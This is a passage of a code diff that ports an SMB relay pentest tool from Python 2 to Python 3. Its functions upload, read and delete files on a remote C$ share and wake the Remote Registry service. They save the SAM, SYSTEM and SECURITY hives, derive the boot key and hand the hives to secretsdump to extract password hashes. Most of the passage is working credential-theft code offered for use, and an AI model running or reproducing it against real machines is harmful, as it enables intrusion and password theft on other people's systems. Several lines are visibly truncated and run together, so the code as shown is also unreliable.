a big file. - if data[8:10] == "\xa2\x00" and FileSize >= 30000: - ##How many requests? - count_number = int(FileSize/30000)+1 - #Do progress bar for large uploads, so the pentester doesn't fall asleep while doing a large SMB write operations.. - dataoffset = 0 - count = 0 - bar = 80 - start_time = time.time() - print 'File size: %s'%(GetReadableSize(FileSize)) - for i in xrange(count_number): - count = count+1 - Chunk = FileContent[dataoffset:dataoffset+30000] - alreadydone = int(round(80 * count / float(count_number))) - pourcent = round(100.0 * count / float(count_number), 1) - progress = '=' * alreadydone + '-' * (80 - alreadydone) - sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) - sys.stdout.flush() + if data[8:10] == b"\xa2\x00" and int(FileSize) >= 30000: + ##How many requests? + count_number = int(FileSize/30000)+1 + #Do progress bar for large uploads, so the pentester doesn't fall asleep while doing a large SMB write operations.. + dataoffset = 0 + count = 0 + bar = 80 + start_time = time.time() + print('File size: %s'%(GetReadableSize(FileSize))) + for i in range(count_number): + count = count+1 + Chunk = FileContent[dataoffset:dataoffset+30000] + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() - if len(Chunk) == 0: - pass - else: - data, s = WriteOutput(struct.pack("60: - minutes = Seconds/60 - print 'Uploaded in: %.3g minutes.'%(minutes) - if Seconds<60: - print 'Uploaded in: %.3g seconds'%(Seconds) + if len(Chunk) == 0: + pass + else: + data, s = WriteOutput(StructWithLenPython2or3("60: + minutes = Seconds/60 + print('Uploaded in: %.3g minutes.'%(minutes)) + if Seconds<60: + print('Uploaded in: %.3g seconds'%(Seconds)) ##Close Request - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = CloseRequest(FID = f) + if data[8:10] == b"\x2f\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = CloseRequest(FID = f.decode('latin-1')) packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s @@ -1446,622 +1497,577 @@ def UploadAndWrite(f, FileSize, FileContent, data, s): ########################### def ReadAndDelete(f, Filename, data, s): ##ReadRequest. - if data[8:10] == "\x2d\x00": - filesize = struct.unpack(" 65520. - first = filesize-65520 - if first <= 65520: - count_number = 1 - else: - count_number = int(first/65520)+1 - count = 0 - dataoffset = 0 - bar = 80 - for i in xrange(count_number): - count = count+1 - alreadydone = int(round(80 * count / float(count_number))) - pourcent = round(100.0 * count / float(count_number), 1) - progress = '=' * alreadydone + '-' * (80 - alreadydone) - sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) - sys.stdout.flush() - dataoffset = dataoffset + 65520 - data, s, out = ReadOutput(struct.pack("60: - minutes = Seconds/60 - print 'Downloaded in: %.3g minutes.\n'%(minutes) - if Seconds<60: - print 'Downloaded in: %.3g seconds'%(Seconds) + if data[8:10] == b"\x2d\x00": + filesize = struct.unpack(" 65520. + first = filesize-65520 + if first <= 65520: + count_number = 1 + else: + count_number = int(first/65520)+1 + count = 0 + dataoffset = 0 + bar = 80 + for i in range(count_number): + count = count+1 + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + dataoffset = dataoffset + 65520 + data, s, out = ReadOutput(StructWithLenPython2or3("60: + minutes = Seconds/60 + print('Downloaded in: %.3g minutes.\n'%(minutes)) + if Seconds<60: + print('Downloaded in: %.3g seconds'%(Seconds)) + if isinstance(data, str): + data = data.encode('latin-1') + ##Close Request - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = CloseRequest(FID = f) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = CloseRequest(FID = f.decode('latin-1')) packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##DeleteFileRequest. - if data[8:10] == "\x04\x00": - head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") - t = DeleteFileRequest(File=Filename) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) + if data[8:10] == b"\x04\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) - if data[8:10] == "\x06\x00": - head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = OpenAndX(File=Filename, OpenFunc="\x01\x00") - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - return data, s, Output + if data[8:10] == b"\x06\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) + return data, s, Output def DeleteAFile(Filename, data, s, Host): ##Start with a Tree connect on C$ - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Host+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ##DeleteFileRequest. - if data[8:10] == "\x75\x00": - head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") - t = DeleteFileRequest(File=Filename) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) + if data[8:10] == b"\x75\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) - if data[8:10] == "\x06\x21": - time.sleep(1) - head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") - t = DeleteFileRequest(File=Filename) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) + if data[8:10] == b"\x06\x21": + time.sleep(1) + head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) - if data[8:10] == "\x06\x21": - print "[+] Delete Failed. Server ("+Host+") returned STATUS_CANNOT_DELETE, "+Filename+" is currently in use by another process." - print "[+] Try taskkill /F /IM process_name, then delete the file." - return data, s + if data[8:10] == b"\x06\x21": + print("[+] Delete Failed. Server ("+Host+") returned STATUS_CANNOT_DELETE, "+Filename+" is currently in use by another process.") + print("[+] Try taskkill /F /IM process_name, then delete the file.") + return data, s - if data[8:10] == "\x06\x34": - print "[+] Delete Failed. File not found." - return data, s + if data[8:10] == b"\x06\x34": + print("[+] Delete Failed. File not found.") + return data, s - if data[8:10] == "\x06\x00": - head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = OpenAndX(File=Filename, OpenFunc="\x01\x00") - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - data = s.recv(2048) - return data, s + if data[8:10] == b"\x06\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + data = s.recv(2048) + return data, s def GrabKeyValue(s, f, handler, data, keypath): ## DCE/RPC OpenKey. - if data[8:10] == "\x25\x00": + if data[8:10] == b"\x25\x00": ContextHandler = handler - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegOpenKey(ContextHandle=ContextHandler,Key=keypath) w.calculate() x = SMBDCEPacketData(Opnum="\x0f\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC Query Info. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to read the key\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to read the key\n") return ModifySMBRetCode(data) - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegQueryInfoKey(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) Value = data[104:120].decode('utf-16le') ## DCE/RPC CloseKey. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to close the key\n" + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to close the key\n") return ModifySMBRetCode(data) - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegCloseKey(ContextHandle=ContextHandler) x = SMBDCEPacketData(Opnum="\x05\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return Value, data def SaveKeyToFile(Filename, Key, handler, f, data, s): ## DCE/RPC WinReg Create Key. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x25\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegCreateKey(ContextHandle=handler, KeyName = Key) w.calculate() x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## DCE/RPC WinReg Save Key. - if data[8:10] == "\x25\x00": - ContextHandler = data[84:104] - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x25\x00": + ContextHandler = data[84:104].decode('latin-1') + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegSaveKey(ContextHandle=ContextHandler, File=Filename) w.calculate() x = SMBDCEPacketData(Opnum="\x14\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) return data, s, f def OpenHKLM(data, s, f): ## DCE/RPC WinReg OpenHKLM. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegOpenHKLMKey() x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - handler = data[84:104] + handler = data[84:104].decode('latin-1') return data, s, handler, f def OpenHKCU(data, s, f): ## DCE/RPC WinReg OpenHKCU. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) w = SMBDCEWinRegOpenHKCUKey() x = SMBDCEPacketData(Opnum="\x04\x00",Data=w) x.calculate() - t = SMBTransDCERPC(FID=f,Data=x) + t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) - handler = data[84:104] + handler = data[84:104].decode('latin-1') return data, s, handler, f def ConvertValuesToBootKey(JDSkew1GBGData): + JDSkew1GBGData = JDSkew1GBGData.decode('latin-1') Key = "" Xored = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] for i in range(len(JDSkew1GBGData)): Key += JDSkew1GBGData[Xored[i]] - print 'BootKey: %s' % Key.encode("hex") + print('BootKey: %s' % codecs.encode(Key.encode('latin-1'), 'hex').decode('latin-1')) return Key ##########Dump Hashes############# def DumpHashes(data, s, Host): try: - stopped = False - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + SaveAKey(data, s, Host, "SAM") + time.sleep(0.5) + SaveAKey(data, s, Host, "SYSTEM") + time.sleep(0.5) + SaveAKey(data, s, Host, "SECURITY") + time.sleep(0.5) + #Let's call secretsdump.py + print("[+] Calling SecretsDump\n") + Hashes = DumpSecrets(None, None, None, None) + Results = Hashes.dump(sam=SaveSam_Path+"./"+Host+"-SAM.tmp", security=SaveSam_Path+"./"+Host+"-SECURITY.tmp", system=SaveSam_Path+"./"+Host+"-SYSTEM.tmp", outfile=SaveSam_Path+"./"+Host) - if f == "PipeNotAvailable": - print "The Windows Remote Registry Service is sleeping, waking it up..." - time.sleep(3) - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - - if f == "PipeNotAvailable": - print "Retrying..." - time.sleep(5) - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - - if f == "ServiceNotFound": - stopped = True - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host, data, s) - data,s = CloseFID(f, data,s) - #We should be all good here. - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - - data,s,handler,f = OpenHKLM(data,s,f) - - ##Error handling. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n" - return ModifySMBRetCode(data) - ##Grab the keys - if data[8:10] == "\x25\x00": - JD, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD") - Skew1, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1") - Data, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data") - GBG, data = GrabKeyValue(s, f, handler, data, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG") - - #Dump bootkey, then finish up. - BootKey = ConvertValuesToBootKey(str(JD+Skew1+GBG+Data).decode("hex")) - RandomFile = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.tmp' - data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+RandomFile, "SAM", handler, f, data, s) - data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+RandomFile, "C", Host, RW, data, s) - data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+RandomFile, data, s) - - #If the service was stopped before we came... - if stopped: - data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host, data, s) - data,s = CloseFID(f, data,s) - data = ModifySMBRetCode(data) - - #After everything has been cleaned up, we write to file and call creddump - WriteOutputToFile(Output, "./Sam-"+Host+".tmp") - try: - Hashes = dump_file_hashes(BootKey, SaveSam_Path+"./Sam-"+Host+".tmp") - WriteOutputToFile(Hashes, "./Hash-Dump-"+Host+".txt") - except: - print "[+] Live dump failed, is python-crypto installed? " - pass - print "[+] The SAM file was saved in: ./relay-dumps/Sam-"+Host+".tmp and the hashes in ./relay-dumps/Hash-Dumped-"+Host+".txt" - return data + print("[+] The hashes in ./relay-dumps/Hash-Dumped-"+Host+".txt") + return data except: - #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. + return ModifySMBRetCode(data) ##########Save An HKLM Key And Its Subkeys############# def SaveAKey(data, s, Host, Key): try: - stopped = False - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + stopped = False + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - if f == "PipeNotAvailable": - print "The Windows Remote Registry Service is sleeping, waking it up..." - time.sleep(3) - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + if f == "PipeNotAvailable": + print("The Windows Remote Registry Service is sleeping, waking it up...") + time.sleep(3) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - if f == "PipeNotAvailable": - print "Retrying..." - time.sleep(5) - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + if f == "PipeNotAvailable": + print("Retrying...") + time.sleep(5) + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - if f == "ServiceNotFound": - stopped = True - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host, data, s) - data,s = CloseFID(f, data,s) - #We should be all good here. - data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) + if f == "ServiceNotFound": + stopped = True + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + print("Starting Windows Remote Registry...") + data,s,f = StartWinregService(f, Host, data, s) + data,s = CloseFID(f, data,s) + #We should be all good here. + data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s) - ##Error handling. - if data[8:10] == "\x25\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n" - return ModifySMBRetCode(data) + ##Error handling. + if data[8:10] == b"\x25\x00": + if data[len(data)-4:] == b"\x05\x00\x00\x00": + print("[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n") + return ModifySMBRetCode(data) - data,s,handler,f = OpenHKLM(data,s,f) + data,s,handler,f = OpenHKLM(data,s,f) - data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+Key+".tmp", Key, handler, f, data, s) - if data[8:10] != "\x25\x00": - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) - data,s = CloseFID(f, data, s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host, RW, data, s) - data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s) + data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+Key+".tmp", Key, handler, f, data, s) + if data[8:10] != b"\x25\x00": + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) + data,s = CloseFID(f, data, s) + data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s) - #If the service was stopped before we came... - if stopped: - data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StopWinregService(f, Host, data, s) - data,s = CloseFID(f, data,s) - data = ModifySMBRetCode(data) + #If the service was stopped before we came... + if stopped: + data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID. + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopWinregService(f, Host, data, s) + data,s = CloseFID(f, data,s) + data = ModifySMBRetCode(data) - #After everything has been cleaned up, we write the output to a file. - WriteOutputToFile(Output, Host+"-"+Key+".tmp") - print "[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host+"-"+Key+".tmp" - return data + #After everything has been cleaned up, we write the output to a file. + WriteOutputToFile(Output, Host+"-"+Key+".tmp") + print("[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host+"-"+Key+".tmp") + return data except: - #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. - print "[+] Something went wrong, try something else." - return ModifySMBRetCode(data) + #Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works. + print("[+] Something went wrong, try something else.") + return ModifySMBRetCode(data) ##########ReadAFile############# def ReadFile(data, s, File, Host): try: - File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) - data,s,Output = GrabAndRead(f, File, data, s) - print Output - return ModifySMBRetCode(data) ##Command was successful, ret true. + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + print(Output) + return ModifySMBRetCode(data) ##Command was successful, ret true. except: - print "[+] Read failed. Remote filename was typed correctly?" - return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + print("[+] Read failed. Remote filename was typed correctly?") + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. def GetAfFile(data, s, File, Host): try: - File = File.replace("/","\\") - data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) - data,s,Output = GrabAndRead(f, File, data, s) - WriteOutputToFile(Output, Host+"-"+File) - print "[+] Done." - return ModifySMBRetCode(data) ##Command was successful, ret true. + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + WriteOutputToFile(Output, Host+"-"+File) + print("[+] Done.") + return ModifySMBRetCode(data) ##Command was successful, ret true. except: - print "[+] Get file failed. Remote filename was typed correctly?" - return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + print("[+] Get file failed. Remote filename was typed correctly?") + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. ##########UploadAFile############# def WriteFile(data, s, File, FileSize, FileContent, Host): try: - File = File.replace("/","\\") - data,s,f = SMBOpenFileForWriting(File, FileSize, FileContent, "C", Host, RW, data, s) - data,s = UploadAndWrite(f, FileSize, FileContent, data, s) - return ModifySMBRetCode(data) ##Command was successful, ret true. + File = File.replace("/","\\") + data,s,f = SMBOpenFileForWriting(File, FileSize, FileContent, "C", Host, RW, data, s) + data,s = UploadAndWrite(f, FileSize, FileContent, data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. except: - print "[+] Write failed." - return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + print("[+] Write failed.") + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. ##########DeleteAFile############ def DeleteFile(data, s, File, Host): try: - File = File.replace("/","\\") - data,s = DeleteAFile(File, data, s, Host) - data,s = CloseTID(data, s) - return ModifySMBRetCode(data) ##Command was successful, ret true. + File = File.replace("/","\\") + data,s = DeleteAFile(File, data, s, Host) + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. except: - print "[+] Delete operation failed.\n[+] Something went wrong." - data,s = CloseTID(data, s) - return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + 